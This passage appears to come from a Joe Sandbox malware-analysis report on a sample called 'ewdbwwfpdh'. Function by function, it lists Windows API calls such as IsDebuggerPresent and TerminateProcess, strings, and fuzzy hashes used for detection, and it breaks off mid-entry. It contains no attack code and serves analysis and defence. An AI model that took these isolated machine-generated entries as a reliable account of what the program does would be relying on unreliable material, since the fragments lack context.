Instruction ID: 3340f18894c7c6c457062ad94c6b2b9631d96c67e065db00f1dd8c4bb1dd3acb
Opcode Fuzzy Hash: 874911dec09df82e581f0019f0f253af2803cb218453ab0d66f3a57f1039db15
Instruction Fuzzy Hash: 8B113C75611608FFEB208FA4DC44EAF77B9EF14744F508469F809D7120E7B19E419760

Uniqueness

Uniqueness Score: -1.00%

Function 001DDA81 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0020DC30), ref: 001DDABB
GetLastError.KERNEL32 ref: 001DDACA
CreateDirectoryW.KERNELBASE(?,00000000), ref: 001DDAD9
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0020DC30), ref: 001DDB36

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: c0ff3cbcdf4cc6e3aeecb7c3143d2c6655f2eb67311739c54b304d3fde82820e
Instruction ID: a534444521259539d648b9f889fc9548860cb9a66b2cd1120135aa2916079948
Opcode Fuzzy Hash: c0ff3cbcdf4cc6e3aeecb7c3143d2c6655f2eb67311739c54b304d3fde82820e
Instruction Fuzzy Hash: F0219F305093019FC710DF64E8859AAB7E4EE66368F544A1FF8A9833A2D730D94ACB42

Uniqueness

Uniqueness Score: -1.00%

Function 00173A1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 001B4115

Part of subcall function 0017557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00175558,?,?,001B4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0017559E

Part of subcall function 001739DE: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 001739FD

Strings

X, xrefs: 001B40E3
`u#, xrefs: 001B410E

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`u#
API String ID: 779396738-1508474015
Opcode ID: 4b4114866a281d1efecb858488b197380564d22625484bc684c83233f0238f13
Instruction ID: 503a126ee487f418532ec782e2b9aa132a75afff0e544c075ddb94f3b4dc7d8e
Opcode Fuzzy Hash: 4b4114866a281d1efecb858488b197380564d22625484bc684c83233f0238f13
Instruction Fuzzy Hash: 7221D5B1A102489BCF15DF98C809BEE7BFDAF58304F008059E509E7241DBF45A899FA1

Uniqueness

Uniqueness Score: -1.00%

Function 0019016B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 001909F8

Part of subcall function 00193634: RaiseException.KERNEL32(?,?,?,00190A1A,?,00000000,?,?,?,?,?,?,00190A1A,00000000,00239758,00000000), ref: 00193694

__CxxThrowException@8.LIBVCRUNTIME ref: 00190A15

Strings

Unknown exception, xrefs: 00190A22

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 02d6d44d5031fa0bf21dab4d3217f88f4afcc24d0b3f7dd09945f9b3f159f9ee
Instruction ID: 924aabf8cf55f1b61bd709088bf389a09347d3708aeb76a0e6a940b35ffed6d3
Opcode Fuzzy Hash: 02d6d44d5031fa0bf21dab4d3217f88f4afcc24d0b3f7dd09945f9b3f159f9ee
Instruction Fuzzy Hash: 3EF0F67490030DBBCF06BAB8EC4699EB7AC5E19314B604130B928924E3EB70EF96C5C0

Uniqueness

Uniqueness Score: -1.00%

Function 001F88B6 Relevance: 4.9, APIs: 3, Instructions: 430COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 001F8C52
TerminateProcess.KERNEL32(00000000), ref: 001F8C59
FreeLibrary.KERNEL32(?,?,?,?), ref: 001F8E3A

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Process$CurrentFreeLibraryTerminate
String ID:
API String ID: 146820519-0
Opcode ID: 7956376d858d353ea715dc1928c0c5520a014c2c62bdf1e9c1891372c6e2c852
Instruction ID: c90fd80792726f620d2af3604a8961bd61c9e7b29c136ee7e390aaefde947ef6
Opcode Fuzzy Hash: 7956376d858d353ea715dc1928c0c5520a014c2c62bdf1e9c1891372c6e2c852
Instruction Fuzzy Hash: E5127C71A083449FC714DF28C484B6ABBE5FF98318F14895DE9898B292DB30ED45CF92

Uniqueness

Uniqueness Score: -1.00%

Function 001F99F5 Relevance: 4.7, APIs: 3, Instructions: 233COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 001F9A89
_strcat.LIBCMT ref: 001F9AC8
_wcslen.LIBCMT ref: 001F9B16

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: _wcslen$_strcat
String ID:
API String ID: 306214811-0
Opcode ID: 6750d31232a6a6b9d89c1647aa50e4114f8046847a7805262dd378b761c7adb8
Instruction ID: a89e47276fe98e4f4ad0a77f854fed4d5b807246db34234502c006cf634e0ec5
Opcode Fuzzy Hash: 6750d31232a6a6b9d89c1647aa50e4114f8046847a7805262dd378b761c7adb8
Instruction Fuzzy Hash: D8A14C31604609DFCB18EF58C5D1A69B7B1FF55318B1084ADE94A8F792DB32ED42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00176BFA Relevance: 4.6, APIs: 3, Instructions: 103COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000001,?,00000000), ref: 00176CA1
SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001), ref: 00176CB1

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 64dc3285a5bf6dfaef2e33c7417e0b9c9bb36219f74d7b13ab39ba623eba8b95
Instruction ID: 798347c3ac7fd27077b968dc7adcd8e656f277d3d270a79b491f88457b31a44b
Opcode Fuzzy Hash: 64dc3285a5bf6dfaef2e33c7417e0b9c9bb36219f74d7b13ab39ba623eba8b95
Instruction Fuzzy Hash: 81315B71A00A0AFFDB19CF68C980B99B7B5FB04314F14C629E919A7244D7B1FE94DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0018FCBB Relevance: 4.6, APIs: 3, Instructions: 75timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00175F59: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00176049

KillTimer.USER32(?,00000001,?,?), ref: 0018FD44
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0018FD53
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 001CFDD3

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 25ed902f32c1b327927a15932ee17e495fcf827cce5a60430a8a49d24ab8e522
Instruction ID: 167298baefee3b139a49b88528de5d8c8ad0fc75cd3ebfc9a91e9d486bedd368
Opcode Fuzzy Hash: 25ed902f32c1b327927a15932ee17e495fcf827cce5a60430a8a49d24ab8e522
Instruction Fuzzy Hash: 8D31D774904344AFEB32CF648889BE6BBED9F26708F0004AEE6DE57241C7745A86CB51

Uniqueness

Uniqueness Score: -1.00%

Function 001A8A3E Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,?,?,001A895C,?,00239CE8,0000000C), ref: 001A8A94
GetLastError.KERNEL32(?,001A895C,?,00239CE8,0000000C), ref: 001A8A9E
__dosmaperr.LIBCMT ref: 001A8AC9

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 7173f88615bc56e7e02717198201407e5387a1ab3de516506ad4581a85fe0d68
Instruction ID: 4f1387f4c7068dd8c5deef923be06f887a51fc9fe4f308ace630faaf9f0dbd93
Opcode Fuzzy Hash: 7173f88615bc56e7e02717198201407e5387a1ab3de516506ad4581a85fe0d68
Instruction Fuzzy Hash: BF016F3B60526057D7142374688577E77464B93738F2A021AF80CDB0D2DF608CC58250

Uniqueness

Uniqueness Score: -1.00%

Function 001A971B Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,1875FF1C,1875FF1C,?,001A97CA,FF8BC369,00000000,00000002,00000000), ref: 001A9754
GetLastError.KERNEL32(?,001A97CA,FF8BC369,00000000,00000002,00000000,?,001A5EF1,00000000,00000000,00000000,00000002,00000000,FF8BC369,00000000,00196F61), ref: 001A975E
__dosmaperr.LIBCMT ref: 001A9765

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: 140cb4f9fa04cf2e50406da3974d9a9521fc036732c60d6c101250c26f920f8f
Instruction ID: 064e35b627c92598a185b6f10ff0d4301a7b3c51de0667fb75b47b9e8a03be56
Opcode Fuzzy Hash: 140cb4f9fa04cf2e50406da3974d9a9521fc036732c60d6c101250c26f920f8f
Instruction Fuzzy Hash: F1014C3A620214ABCF059FE9EC45C6E7B2ADBC6330B240249F814DB191EB70DD81CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 001AD1E0 Relevance: 4.5, APIs: 3, Instructions: 37COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 001AD1E4
_free.LIBCMT ref: 001AD21D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001AD224

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: EnvironmentStrings$Free_free
String ID:
API String ID: 2716640707-0
Opcode ID: 4141b287abf37d31bc49480a7184cd29fb5e13116218e7f100a6542f24019c39
Instruction ID: ab9b2a8cb89bfc11f7da975cc87979dde5386419740970cebd019d10b9439dfa
Opcode Fuzzy Hash: 4141b287abf37d31bc49480a7184cd29fb5e13116218e7f100a6542f24019c39
Instruction Fuzzy Hash: FCE0ED3B541A212AD22223397C8DA6F2A2CEFD37A0B260166F40982582EF208D0280F1

Uniqueness

Uniqueness Score: -1.00%

Function 0017F1E8 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 0017F22B
DispatchMessageW.USER32(?), ref: 0017F239
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0017F24F
Sleep.KERNELBASE(0000000A), ref: 0017F261
TranslateAcceleratorW.USER32(?,?,?), ref: 001C327C

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 31d3ac16f1b7761ef42fb9ed164f32d6fd3bf4f946b52477356b7c7fe556f542
Instruction ID: 914acd1a3963d2dff360d3e2ae98845642ac8295f5388ec228c98a29db2eca3e
Opcode Fuzzy Hash: 31d3ac16f1b7761ef42fb9ed164f32d6fd3bf4f946b52477356b7c7fe556f542
Instruction Fuzzy Hash: 1EF03A305053419AEA348BA09C49F9AB3ADEB94300F408928F619830D0DB3095488B21

Uniqueness

Uniqueness Score: -1.00%

Function 00182AD0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00182FB6

Strings

CALL, xrefs: 00182F86

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 8470a34b4feb4de0f2f202d80ab54ecb59af7674a7c59a6f60efaf65fdef61d4
Instruction ID: a7b0ac0f7d49d8b75500fc13aae6ba02c70e115dee326841e2d74d24b00eb058
Opcode Fuzzy Hash: 8470a34b4feb4de0f2f202d80ab54ecb59af7674a7c59a6f60efaf65fdef61d4
Instruction Fuzzy Hash: AA228B706082419FC715EF14C484B2ABBF1BFA9314F25895DF89A8B3A2D771EA41CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00181940 Relevance: 3.6, APIs: 2, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52254354233bbb404ca8b5d6f7704f2e1daa6224225ba5af8b205ce6584fd908
Instruction ID: 0de06b6c9d36e33691fadbf5f7d2a7345d384cf34be5f3a760a3616a4755944f
Opcode Fuzzy Hash: 52254354233bbb404ca8b5d6f7704f2e1daa6224225ba5af8b205ce6584fd908
Instruction Fuzzy Hash: 3C32CD71A00205AFDB24EF54C881FAEB7B9EF24314F148529E856AB2A1D731EE45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001741E6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,001733E9,00242418,?,?,?,?,?,?,?,001732EF,?), ref: 00174227

Part of subcall function 001784B7: _wcslen.LIBCMT ref: 001784CA

Strings

$$, xrefs: 00174241

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FullNamePath_wcslen
String ID: $$
API String ID: 4019309064-702190059
Opcode ID: 316ee1aac97f1a85b1e1c508264a9a937cc9db6243c67ebc7f8b7b14875127e2
Instruction ID: c7ca6bf6617566fe5c4ed8629559ee6d00f0d289f56ef150e4ad4a29e5fc44d3
Opcode Fuzzy Hash: 316ee1aac97f1a85b1e1c508264a9a937cc9db6243c67ebc7f8b7b14875127e2
Instruction Fuzzy Hash: 1711A135610208DBCB05EBA4A805EDD77FCAF18350B0180A5F949D3292DFB0E7988B11

Uniqueness

Uniqueness Score: -1.00%

Function 001E95F6 Relevance: 3.1, APIs: 2, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 0017557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00175558,?,?,001B4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0017559E

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 001E9665
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 001E9673

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: PrivateProfileStringWrite$FullNamePath
String ID:
API String ID: 3876400906-0
Opcode ID: 54c2287d89501b7409fb3ce8f28c0d78784f7b8bd4887b708b61926e31f8e5b9
Instruction ID: 958faf1a154dd47dc429672880fc5d17eb8985983b63522a7672f80d61712968
Opcode Fuzzy Hash: 54c2287d89501b7409fb3ce8f28c0d78784f7b8bd4887b708b61926e31f8e5b9
Instruction Fuzzy Hash: BF111979600A259FCB10EB65C884D6EB7F5FF58364B058848EC5AAB361DB30FD01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00176E52 Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,00173B33,?,00008000), ref: 00176E80
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,?,?,00173B33,?,00008000), ref: 001B59A2

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c2be786023fb5d195baad1e6e9101eea026c428341c2104bfa9e3fcfec014039
Instruction ID: 4179e83ac0c6bfb779b1c3f6a4673f1d3c453901bd1b47670b189b1040f78534
Opcode Fuzzy Hash: c2be786023fb5d195baad1e6e9101eea026c428341c2104bfa9e3fcfec014039
Instruction Fuzzy Hash: 17014031285625B6E3344A66CC0EF977FA8EF067B4F15C210FE9D6A1E0CBB45855CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001732A2 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 001732C4

Part of subcall function 0017326D: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00173282
Part of subcall function 0017326D: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00173299

Part of subcall function 00173312: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,001732EF,?), ref: 00173342
Part of subcall function 00173312: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,001732EF,?), ref: 00173355
Part of subcall function 00173312: GetFullPathNameW.KERNEL32(00007FFF,?,?,00242418,00242400,?,?,?,?,?,?,001732EF,?), ref: 001733C1
Part of subcall function 00173312: SetCurrentDirectoryW.KERNELBASE(?,00000001,00242418,?,?,?,?,?,?,?,001732EF,?), ref: 00173442

SystemParametersInfoW.USER32(00002001,00000000,00000002,?), ref: 001732FE

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme
String ID:
API String ID: 1550534281-0
Opcode ID: f65b37929c440f498b409e8ee27bacebf2538232e207765d2776b5e533645cec
Instruction ID: 5299351a2a5a147032978ea87b53ceaca44e33455c96632bc986c453e8ddcb78
Opcode Fuzzy Hash: f65b37929c440f498b409e8ee27bacebf2538232e207765d2776b5e533645cec
Instruction Fuzzy Hash: 0DF0BE36504344EFE700AFA1FC0EB247FB4BB05705F908805F508951E3CBB98594AB00

Uniqueness

Uniqueness Score: -1.00%

Function 0018F95E Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0018F97A

Part of subcall function 0017EDFE: GetInputState.USER32 ref: 0017EEB7

Sleep.KERNEL32(00000000), ref: 001CFAC2

Memory Dump Source

